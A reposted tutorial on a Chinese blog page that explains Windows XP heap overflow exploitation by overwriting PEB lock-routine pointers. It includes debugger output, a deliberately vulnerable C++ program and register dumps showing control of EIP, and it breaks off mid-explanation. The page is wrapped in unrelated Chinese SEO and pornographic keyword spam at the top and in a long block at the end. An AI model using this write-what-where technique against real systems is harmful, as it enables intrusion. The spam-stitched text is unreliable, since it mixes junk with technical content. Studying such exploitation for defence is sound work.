青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品

S.l.e!ep.¢%

像打了激速一樣,以四倍的速度運轉,開心的工作
簡單、開放、平等的公司文化;尊重個性、自由與個人價值;
posts - 1098, comments - 335, trackbacks - 0, articles - 1
  C++博客 :: 首頁 :: 新隨筆 :: 聯系 :: 聚合  :: 管理

[轉載]Windows Heap Overflows using the Process Environment Block (PEB)

文章作者:c0ntexb[at]gmail.com

The PEB (Process Environment Block) is a process specific area of userland memory that contains details about
each running process. Since PEB information is user modifyable, it runs in the context of the process address
space. Information contained in the PEB includes the image base address, heap information, loaded modules and
defined environment variables amongst other things. A quick look at the PEB of a vulnerable application shows
us this information:


0:000> !peb
PEB at 7ffdf000
? ?InheritedAddressSpace:? ?No
? ?ReadImageFileExecOptions: No
? ?BeingDebugged:? ?? ???Yes
? ?ImageBaseAddress:? ?? ?00400000
? ?Ldr? ?? ?? ?? ?? ? 00241ea0
? ?Ldr.Initialized:? ?? ? Yes
? ?Ldr.InInitializationOrderModuleList: 00241f58 . 00242018
? ?Ldr.InLoadOrderModuleList:? ?? ???00241ee0 . 00242008
? ?Ldr.InMemoryOrderModuleList:? ?? ?00241ee8 . 00242010
? ?? ???Base TimeStamp? ?? ?? ?? ???Module
? ?? ? 400000 447748b6 May 26 19:28:06 2006 C:\Documents and Settings\c0ntex\Desktop\testing\PEB.exe
? ?? ?77f50000 3eb1b41a May 02 00:56:10 2003 C:\WINXP\System32\ntdll.dll
? ?? ?77e60000 40d1dbcb Jun 17 18:58:35 2004 C:\WINXP\system32\kernel32.dll
? ?SubSystemData:? ? 00000000
? ?ProcessHeap:? ???00140000
? ?ProcessParameters: 00020000
? ?WindowTitle:??'C:\Documents and Settings\c0ntex\Desktop\testing\PEB.exe'
? ?ImageFile:? ?'C:\Documents and Settings\c0ntex\Desktop\testing\PEB.exe'
? ?CommandLine:??'"C:\Documents and Settings\c0ntex\Desktop\testing\PEB.exe"'
? ?DllPath:? ? 'C:\Documents and Settings\c0ntex\Desktop\testing;C:\WINXP\System32;C:\WINXP\system;
C:\WINXP;.;C:\Program Files\Debugging Tools for Windows\winext\arcade;C:\Program Files\Windows Resource
Kits\Tools\;C:\WINXP\system32;C:\WINXP;C:\WINXP\System32\Wbem;C:\WINXP\system32\nls;C:\WINXP\system32\nls
\ENGLISH;C:\Program Files\Informix\Client-SDK\bin;c:\oracle\ora90\bin;C:\Program Files\ATI Technologies\
ATI Control Panel;C:\PROGRA~1\ATT\Graphviz\bin;'
? ?Environment:??00010000
? ?? ?ALLUSERSPROFILE=C:\Documents and Settings\All Users
? ?? ?APPDATA=C:\Documents and Settings\c0ntex\Application Data
? ?? ?CommonProgramFiles=C:\Program Files\Common Files
? ?? ?COMPUTERNAME=b0xen
? ?? ?ComSpec=C:\WINXP\system32\cmd.exe
? ?? ?HOMEDRIVE=C:
? ?? ?HOMEPATH=\
? ?? ?LOGONSERVER=\\secret
? ?? ?NUMBER_OF_PROCESSORS=1
? ?? ?OS=Windows_NT
? ?? ?Path=C:\Program Files\Debugging Tools for Windows\winext\arcade;C:\Program Files\Windows Resource
Kits\Tools\;C:\WINXP\system32;C:\WINXP;C:\WINXP\System32\Wbem;C:\WINXP\system32\nls;C:\WINXP\system32\nls
\ENGLISH;C:\Program Files\Informix\Client-SDK\bin;c:\oracle\ora90\bin;C:\Program Files\ATI Technologies\
ATI Control Panel;C:\PROGRA~1\ATT\Graphviz\bin;
? ?? ?PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
? ?? ?PROCESSOR_ARCHITECTURE=x86
? ?? ?PROCESSOR_IDENTIFIER=x86 Family 6 Model 9 Stepping 5, GenuineIntel
? ?? ?PROCESSOR_LEVEL=6
? ?? ?PROCESSOR_REVISION=0905
? ?? ?ProgramFiles=C:\Program Files
? ?? ?SESSIONNAME=Console
? ?? ?SystemDrive=C:
? ?? ?SystemRoot=C:\WINXP
? ?? ?TEMP=c:\temp
? ?? ?TERMID=0645A
? ?? ?TMP=c:\temp
? ?? ?USERDOMAIN=secret
? ?? ?USERNAME=c0ntex
? ?? ?USERPROFILE=C:\Documents and Settings\c0ntex
? ?? ?WINDBG_DIR=C:\Program Files\Debugging Tools for Windows
? ?? ?windir=C:\WINXP


In general the PEB holds some pretty useful information for a user when analysing a process, looking at the
structure in ntdll.dll, we can see each of the sections:


0:000> dt ntdll!_PEB 7ffdf000
??+0x000 InheritedAddressSpace : 0 ''
??+0x001 ReadImageFileExecOptions : 0 ''
??+0x002 BeingDebugged? ?: 0x1 ''
??+0x003 SpareBool? ?? ?: 0 ''
??+0x004 Mutant? ?? ???: 0xffffffff
??+0x008 ImageBaseAddress : 0x00400000
??+0x00c Ldr? ?? ?? ? : 0x00241ea0 _PEB_LDR_DATA
??+0x010 ProcessParameters : 0x00020000 _RTL_USER_PROCESS_PARAMETERS
??+0x014 SubSystemData? ?: (null)
??+0x018 ProcessHeap? ? : 0x00140000
??+0x01c FastPebLock? ? : 0x77fc49e0 _RTL_CRITICAL_SECTION
??+0x020 FastPebLockRoutine : 0x77f5b2a0
??+0x024 FastPebUnlockRoutine : 0x77f5b380
??+0x028 EnvironmentUpdateCount : 1
??+0x02c KernelCallbackTable : (null)
??+0x030 SystemReserved??: [1] 0
??+0x034 ExecuteOptions??: 0y00
??+0x034 SpareBits? ?? ?: 0y000000000000000000000000000000 (0)
??+0x038 FreeList? ?? ?: (null)
??+0x03c TlsExpansionCounter : 0
??+0x040 TlsBitmap? ?? ?: 0x77fc4680
??+0x044 TlsBitmapBits? ?: [2] 0
??+0x04c ReadOnlySharedMemoryBase : 0x7f6f0000
??+0x050 ReadOnlySharedMemoryHeap : 0x7f6f0000
??+0x054 ReadOnlyStaticServerData : 0x7f6f0688??-> (null)
??+0x058 AnsiCodePageData : 0x7ffb0000
??+0x05c OemCodePageData??: 0x7ffc1000
??+0x060 UnicodeCaseTableData : 0x7ffd2000
??+0x064 NumberOfProcessors : 1
??+0x068 NtGlobalFlag? ? : 0x70
??+0x070 CriticalSectionTimeout : _LARGE_INTEGER 0xffffe86d`079b8000
??+0x078 HeapSegmentReserve : 0x100000
??+0x07c HeapSegmentCommit : 0x2000
??+0x080 HeapDeCommitTotalFreeThreshold : 0x10000
??+0x084 HeapDeCommitFreeBlockThreshold : 0x1000
??+0x088 NumberOfHeaps? ?: 3
??+0x08c MaximumNumberOfHeaps : 0x10
??+0x090 ProcessHeaps? ? : 0x77fc5a80??-> 0x00140000
??+0x094 GdiSharedHandleTable : (null)
??+0x098 ProcessStarterHelper : (null)
??+0x09c GdiDCAttributeList : 0
??+0x0a0 LoaderLock? ???: 0x77fc1774
??+0x0a4 OSMajorVersion??: 5
??+0x0a8 OSMinorVersion??: 1
??+0x0ac OSBuildNumber? ?: 0xa28
??+0x0ae OSCSDVersion? ? : 0x100
??+0x0b0 OSPlatformId? ? : 2
??+0x0b4 ImageSubsystem??: 3
??+0x0b8 ImageSubsystemMajorVersion : 4
??+0x0bc ImageSubsystemMinorVersion : 0
??+0x0c0 ImageProcessAffinityMask : 0
??+0x0c4 GdiHandleBuffer??: [34] 0
??+0x14c PostProcessInitRoutine : (null)
??+0x150 TlsExpansionBitmap : 0x77fc4660
??+0x154 TlsExpansionBitmapBits : [32] 0
??+0x1d4 SessionId? ?? ?: 0
??+0x1d8 AppCompatFlags??: _ULARGE_INTEGER 0x0
??+0x1e0 AppCompatFlagsUser : _ULARGE_INTEGER 0x0
??+0x1e8 pShimData? ?? ?: (null)
??+0x1ec AppCompatInfo? ?: (null)
??+0x1f0 CSDVersion? ???: _UNICODE_STRING "Service Pack 1"
??+0x1f8 ActivationContextData : (null)
??+0x1fc ProcessAssemblyStorageMap : (null)
??+0x200 SystemDefaultActivationContextData : 0x00130000
??+0x204 SystemAssemblyStorageMap : (null)
??+0x208 MinimumStackCommit : 0


In exploitation, the PEB becomes a useful target due to the fact of it's stability, and the actual sections
that we utilise are the FastPebLockRoutine and FastPebUnlockRoutine pointers.


0:000> dt ntdll!_PEB 7ffdf000
??... SNIP ...
??+0x01c FastPebLock? ? : 0x77fc49e0 _RTL_CRITICAL_SECTION
??+0x020 FastPebLockRoutine : 0x77f5b2a0
??+0x024 FastPebUnlockRoutine : 0x77f5b380
??... SNIP ...


Overwriting FastPebLockRoutine is actually overwriting a pointer to RtlEnterCriticalSection:

? ?? ?FastPebLockRoutine
? ?? ?DS:[7FFDF020]=77F5B2A0 (ntdll.RtlEnterCriticalSection)

and overwriting FastPebUnlockRoutine is actually overwriting the RtlLeaveCriticalSection pointer:

? ?? ?FastPebUnlockRoutine
? ?? ?DS:[7FFDF024]=77F5B380 (ntdll.RtlLeaveCriticalSection)


Now we shall continue the example and work a vulnerable piece of code!


////
//??Heap_Overflow.cpp
////
#include <stdio.h>
#include <windows.h>

int main(int argc, char *argv[])
{
? ?? ?HLOCAL peb_chunk1 = NULL;
? ?? ?HLOCAL peb_chunk2 = NULL;
? ?? ?HANDLE peb_heap = NULL;

? ?? ?printf("\nAn example heap overflow bug\n");

? ?? ?if(argc < 2) {
? ?? ?? ???printf("Usage: ./peb.exe string1 string2\n");
? ?? ?? ???exit(1);
? ?? ?}

? ?? ?peb_heap = HeapCreate(0x00, 0x00, 0x00);

? ?? ?peb_chunk1 = HeapAlloc(peb_heap, 0x00, 0x64);
? ?? ?strcpy((char *)peb_chunk1, argv[1]);

? ?? ?peb_chunk2 = HeapAlloc(peb_heap, 0x00, 0x64);
? ?? ?strcpy((char *)peb_chunk1, argv[2]);

? ?? ?HeapFree(peb_heap, 0x00, peb_chunk1);
? ?? ?HeapFree(peb_heap, 0x00, peb_chunk2);

? ?? ?HeapDestroy(peb_heap);

? ?? ?return 0;
}


On running the program in Windbg, we shall pass the application a large string to trigger the heap overflow
bug and eventually the program will crash at the following location:


77f8452d 8901? ?? ?? ?mov? ? [ecx],eax? ?? ?ds:0023:61616161=????????
77f8452f 894804? ?? ???mov? ? [eax+0x4],ecx


the registers will look like so:


eax=61616161 ebx=00000024 ecx=61616161 edx=003407a0 esi=003407a0 edi=00340000
eip=77f8452d esp=0012f814 ebp=0012fa2c iopl=0? ?? ?nv up ei pl zr na po nc
cs=001b??ss=0023??ds=0023??es=0023??fs=0038??gs=0000? ?? ?? ?efl=00010246
ntdll!RtlAllocateHeapSlowly+0x6bd:
77f8452d 8901? ?? ?? ?mov? ? [ecx],eax? ?? ?ds:0023:61616161=????????


and as we see, we control EAX and ECX, giving us the chance to write-anything-anywhere. This is a standard
heap overflow utilising the above FLINK and BLINK pointers from the heap routines. Examining the Un/Locking
pointer location prior to exploitation, they look something like so:


0:000> dd 0c7ffdf020 L4
7ffdf020??77f5b2a0 77f5b380 00000001 00000000


Here, the PEB Lock pointer [7FFDF020] points to [77F5B2A0]
and the PEB Unlock pointer [7FFDF024] points to [77F5B380]


So we set ECX to the address of the PEB Lock pointer and EAX with an address that points to our shellcode.
In this example we are just jacking PEB with 61616161 to prove we can own EIP. After some preperation, the
registers will look similar to the following:


EAX 61616161? ?<---- Our malicious address to write
ECX 7FFDF020? ?<---- Our jacked pointer to write over
EDX 003507A0 ASCII "aaaaaaaaaaaaaaaaaaaaaaaaaaaa...."
EBX 00000024
ESP 0012F79C
EBP 0012F9B4
ESI 003507A0 ASCII "aaaaaaaaaaaaaaaaaaaaaaaaaaaa...."
EDI 00350000
EIP 77F8452D ntdll.77F8452D


and the MOV DWORD PTR DS:[ECX],EAX will overwrite 7FFDF020 with our malicious values (perhaps a call or jmp
to ECX). The second MOV will fail and access violate, but I don&#39;t care here. Next, we continue the process
in Olly with Shift +f7 and suddenly we see some magic. We have our pointer overwritten prefectly:


? ?? ?7FFDF020??61 61 61 61 80 B3 F5 77??aaaa
青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品
  • <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>
            国产一区二区三区四区hd| 久久精品夜色噜噜亚洲a∨| 午夜一级久久| 亚洲免费观看高清在线观看 | 亚洲伊人网站| 好看的av在线不卡观看| 一本久久综合亚洲鲁鲁五月天| 永久久久久久| 欧美一区二区在线免费观看| 中文在线不卡视频| 乱中年女人伦av一区二区| 久久精品国产99国产精品| 国产精品久久午夜夜伦鲁鲁| 亚洲精品网站在线播放gif| 在线看国产一区| 久久久久久久综合日本| 久久久久国产一区二区| 国产精品资源| 亚洲综合不卡| 亚洲免费视频观看| 欧美日韩在线第一页| 亚洲精品免费观看| 最新中文字幕亚洲| 免费久久99精品国产自| 久久久久高清| 国产一区二区三区免费在线观看 | 99国产欧美久久久精品| 麻豆成人在线观看| 欧美激情小视频| 亚洲欧洲在线播放| 蜜月aⅴ免费一区二区三区| 欧美成人精品激情在线观看| 亚洲福利在线视频| 米奇777超碰欧美日韩亚洲| 久久久久久久国产| 在线播放不卡| 免费亚洲婷婷| 亚洲日本中文| 亚洲一二三区在线| 欧美午夜电影一区| 亚洲一区免费视频| 久久av资源网| 一区免费观看视频| 欧美va亚洲va香蕉在线| 亚洲精品在线观看免费| 亚洲免费综合| 国产一区二区精品在线观看| 久久综合九九| 亚洲美女av在线播放| 亚洲欧美日韩在线播放| 国产一区二区按摩在线观看| 久久久噜噜噜久久| 亚洲精品免费在线| 新67194成人永久网站| 国内一区二区在线视频观看| 麻豆精品在线视频| 一区二区三区国产| 久久久噜噜噜久久久| 亚洲精品视频免费| 国产精品欧美日韩一区| 久久日韩精品| 中文有码久久| 久久一区亚洲| 中文精品视频一区二区在线观看| 国产嫩草一区二区三区在线观看| 欧美影院成人| 99ri日韩精品视频| 蜜桃av一区二区| 亚洲与欧洲av电影| 亚洲国产裸拍裸体视频在线观看乱了| 欧美日韩国产精品成人| 欧美中文字幕在线视频| 亚洲精品小视频| 久久中文在线| 亚洲欧美日韩国产综合| 亚洲日本成人| 国产亚洲欧美日韩精品| 欧美母乳在线| 久久久久久尹人网香蕉| 亚洲性人人天天夜夜摸| 亚洲丶国产丶欧美一区二区三区| 香蕉久久久久久久av网站| 亚洲精品乱码| 精品99一区二区| 国产老肥熟一区二区三区| 欧美成人自拍| 噜噜爱69成人精品| 久久国产精品久久久久久久久久| 亚洲美女免费精品视频在线观看| 玖玖视频精品| 欧美一区二区三区四区夜夜大片| 亚洲日本va午夜在线影院| 一区二区三区在线观看视频| 国产精品视频精品视频| 欧美日韩国内自拍| 欧美激情一区二区三区不卡| 久久精品视频在线观看| 亚洲欧美另类在线观看| 亚洲在线观看视频| 一本色道久久综合亚洲91| 最近看过的日韩成人| 亚洲第一页在线| 欧美国产一区二区| 欧美 亚欧 日韩视频在线| 久久久久久久久综合| 久久精品成人欧美大片古装| 小嫩嫩精品导航| 亚洲欧美成aⅴ人在线观看| 一区二区三区精品久久久| 亚洲日本电影在线| 日韩视频二区| 99人久久精品视频最新地址| 亚洲三级免费电影| 亚洲免费观看高清完整版在线观看熊 | 久久久免费精品视频| 久久成人免费| 久热精品视频在线| 美女视频黄 久久| 美女日韩欧美| 亚洲国产高清在线观看视频| 亚洲第一级黄色片| 亚洲乱码久久| 中文一区二区| 欧美一区二区福利在线| 久久激情一区| 老鸭窝91久久精品色噜噜导演| 久久一区免费| 欧美日韩国产美女| 国产精品久久久久影院色老大| 国产精品日日做人人爱| 国产伦理精品不卡| 永久免费精品影视网站| 亚洲免费观看在线观看| 亚洲影视九九影院在线观看| 香蕉乱码成人久久天堂爱免费| 久久久蜜桃一区二区人| 欧美高清在线一区| 99热在这里有精品免费| 欧美一级片在线播放| 欧美11—12娇小xxxx| 欧美日韩在线另类| 国产亚洲午夜| 日韩一区二区精品葵司在线| 亚洲欧美三级在线| 免费一级欧美片在线播放| 亚洲人成在线影院| 午夜精品福利一区二区三区av| 久久精品日韩| 欧美日韩综合| 狠狠色综合色区| 正在播放亚洲一区| 久久视频在线免费观看| 亚洲欧洲综合另类| 午夜精品久久久久久| 欧美freesex8一10精品| 国产精品久久看| 亚洲国产精品va| 午夜精品成人在线| 欧美激情视频网站| 亚洲欧美日韩中文视频| 欧美激情一区二区在线| 国产香蕉97碰碰久久人人| 亚洲精品一区二| 久久精品中文字幕免费mv| 亚洲精品1区2区| 久久国产视频网| 欧美日韩一区在线视频| 亚洲国产精品一区二区久| 香港成人在线视频| 亚洲精品国产拍免费91在线| 久久精品国产综合精品| 国产精品高潮呻吟久久av无限| 在线看日韩av| 久久久精品2019中文字幕神马| 亚洲精品免费观看| 欧美成年人视频网站| 国内成人自拍视频| 香蕉亚洲视频| 亚洲视频欧美在线| 欧美日韩免费观看一区三区| 在线观看欧美视频| 久久久久国产一区二区三区四区| 日韩亚洲欧美中文三级| 欧美黑人国产人伦爽爽爽| 国一区二区在线观看| 久久成人在线| 亚洲伊人伊色伊影伊综合网| 欧美日韩视频不卡| 一区二区三区 在线观看视频| 欧美激情1区2区3区| 久久久伊人欧美| 国内精品免费在线观看| 久久久人成影片一区二区三区| 亚洲午夜视频在线观看| 欧美视频免费在线| 亚洲综合视频在线| 一片黄亚洲嫩模| 国产精品久久久久影院亚瑟 | 久久国产福利| 国内精品久久国产|